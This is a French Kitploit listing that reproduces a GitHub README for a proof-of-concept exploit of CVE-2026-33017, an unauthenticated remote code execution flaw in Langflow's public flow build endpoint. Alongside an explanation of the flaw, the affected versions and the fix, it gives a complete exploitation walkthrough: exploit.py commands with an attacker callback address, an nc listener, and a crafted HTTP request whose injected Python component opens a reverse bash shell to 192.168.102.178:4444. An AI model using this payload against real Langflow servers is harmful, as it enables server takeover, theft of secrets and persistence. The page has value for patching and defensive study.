Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33017 — Proof-of-concept d'exploit pour CVE-2026-33017, une RCE non authentifiée dans le point de terminaison build_public_tmp de Langflow, injectant un composant personnalisé malveillant pour obtenir un reverse shell. | Kitploit
Outils/GitHubGitHub/yym8538/cve-2026-33017
Analyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges UtilesSécurité de l'IA
GitHubyym8538/cve-2026-33017

CVE-2026-33017

Proof-of-concept d'exploit pour CVE-2026-33017, une RCE non authentifiée dans le point de terminaison build_public_tmp de Langflow, injectant un composant personnalisé malveillant pour obtenir un reverse shell.

1il y a 1 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow Remote Code Execution PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


Configuration de l'environnement

Utilisez les commandes suivantes pour construire et exécuter l'environnement Langflow vulnérable :

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

Comment utiliser le PoC

Après avoir démarré l'instance Langflow vulnérable, exécutez le PoC avec l'URL cible, l'ID du flux Public et l'adresse de rappel de l'attaquant.

Option A — utilisez votre propre listener :

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

Option B — utilisez le listener intégré avec --listen :

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
OptionDescription
--urlURL du serveur Langflow cible
--flow-idUUID du flux Public partagé
--lhostIP de rappel de l'attaquant
--lportPort de rappel de l'attaquant
--listenExécute le listener intégré au lieu d'un nc externe

ENG

CVE-2026-33017 est une vulnérabilité de Remote Code Execution (RCE) dans le processus de build des flux Public de Langflow, une plateforme open-source permettant de construire visuellement des applications LLM et des workflows d'IA.
En envoyant des données de flux forgées à l'endpoint build_public_tmp sans authentification, un attaquant peut provoquer l'exécution de code Python arbitraire sur le serveur.


Overview

CVE-2026-33017 affecte l'endpoint de build des flux Public suivant dans Langflow, une plateforme open-source permettant de créer visuellement des applications LLM et des workflows d'IA.

POST /api/v1/build_public_tmp/{flow_id}/flow

Un flux Public dans Langflow est conçu pour être partagé avec d'autres utilisateurs via un lien ou un mécanisme similaire.
Pour prendre en charge cette fonctionnalité, l'endpoint de build prépare le flux à l'exécution sans exiger d'authentification, en lisant les nœuds, les arêtes et les paramètres du flux, puis en construisant le graphe d'exécution interne nécessaire à son exécution.

Le problème était que les versions vulnérables de build_public_tmp acceptaient non seulement les informations du flux Public stockées sur le serveur, mais aussi le champ data fourni dans le corps de la requête.

Ce champ data pouvait contenir la définition complète du flux, notamment :

  • la liste des nœuds
  • les connexions entre les nœuds
  • les valeurs de configuration détaillées de chaque nœud
  • les templates et les données de composants personnalisés nécessaires à l'exécution

Par conséquent, un attaquant pouvait utiliser une requête non authentifiée pour injecter une structure de flux entièrement contrôlée par lui, au lieu de s'appuyer sur le flux Public légitime stocké sur le serveur.

Un élément particulièrement dangereux de cette conception est la fonctionnalité Custom Component.
Dans Langflow, un composant représente un bloc fonctionnel individuel chargé de tâches telles que la gestion des entrées, l'invocation de modèles ou la génération de sorties. Un composant personnalisé est un bloc extensible qui permet aux utilisateurs de définir son comportement directement en code Python.

Un attaquant pouvait donc intégrer un composant personnalisé contenant du code Python malveillant à l'intérieur de l'objet data forgé, et le serveur le traitait comme s'il s'agissait d'une partie normale du flux. En conséquence, le code injecté pouvait être analysé et exécuté pendant le processus de build ou d'exécution, aboutissant finalement à une exécution de code à distance.


Versions affectées

CatégorieVersion
VulnérableLangflow antérieur à 1.9.0
CorrigéeLangflow 1.9.0 et versions ultérieures

L'avis de sécurité GitHub indique la plage affectée comme <= 1.8.2, mais le correctif — la suppression du paramètre data — a été intégré dans la version 1.9.0. Toutes les versions antérieures à 1.9.0 (y compris 1.8.3 / 1.8.4) sont donc affectées, ce qui explique pourquoi l'enregistrement CVE indique < 1.9.0.


Impact

L'exploitation réussie de cette vulnérabilité peut permettre à un attaquant de prendre le contrôle du serveur Langflow et d'effectuer des actions ultérieures telles que :

  • obtenir un shell sur le serveur
  • exfiltrer des variables d'environnement ou d'autres informations sensibles
  • installer du code malveillant supplémentaire et établir une persistance

Proof of Concept

Le PoC suivant démontre CVE-2026-33017 sur Langflow 1.8.1.

1) Identifier l'ID du flux Public

L'attaquant identifie d'abord le flow_id d'un flux Public cible.

Identifier l'ID du flux Public

2) Envoyer une requête de build avec un composant personnalisé malveillant

L'attaquant envoie une requête build_public_tmp qui injecte un composant personnalisé dont le code Python est exécuté sur le serveur pendant le build temporaire. Dans la requête ci-dessous, la valeur code est laissée comme espace réservé — insérez vous-même la charge utile (voir la note sous la requête).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) Obtenir un shell

Pendant le processus de build, le code intégré dans le composant personnalisé est exécuté sur le serveur. Lorsque la variante reverse shell (automatisée par exploit.py) est utilisée, une connexion est établie vers le listener de l'attaquant, donnant à ce dernier un shell interactif pour exécuter des commandes arbitraires sur le serveur.

Obtenir un shell


Analyse technique

Bien que build_public_tmp soit destiné à construire des flux Public, les versions vulnérables acceptaient encore un champ data directement depuis le corps de la requête.

Télécharger l’outil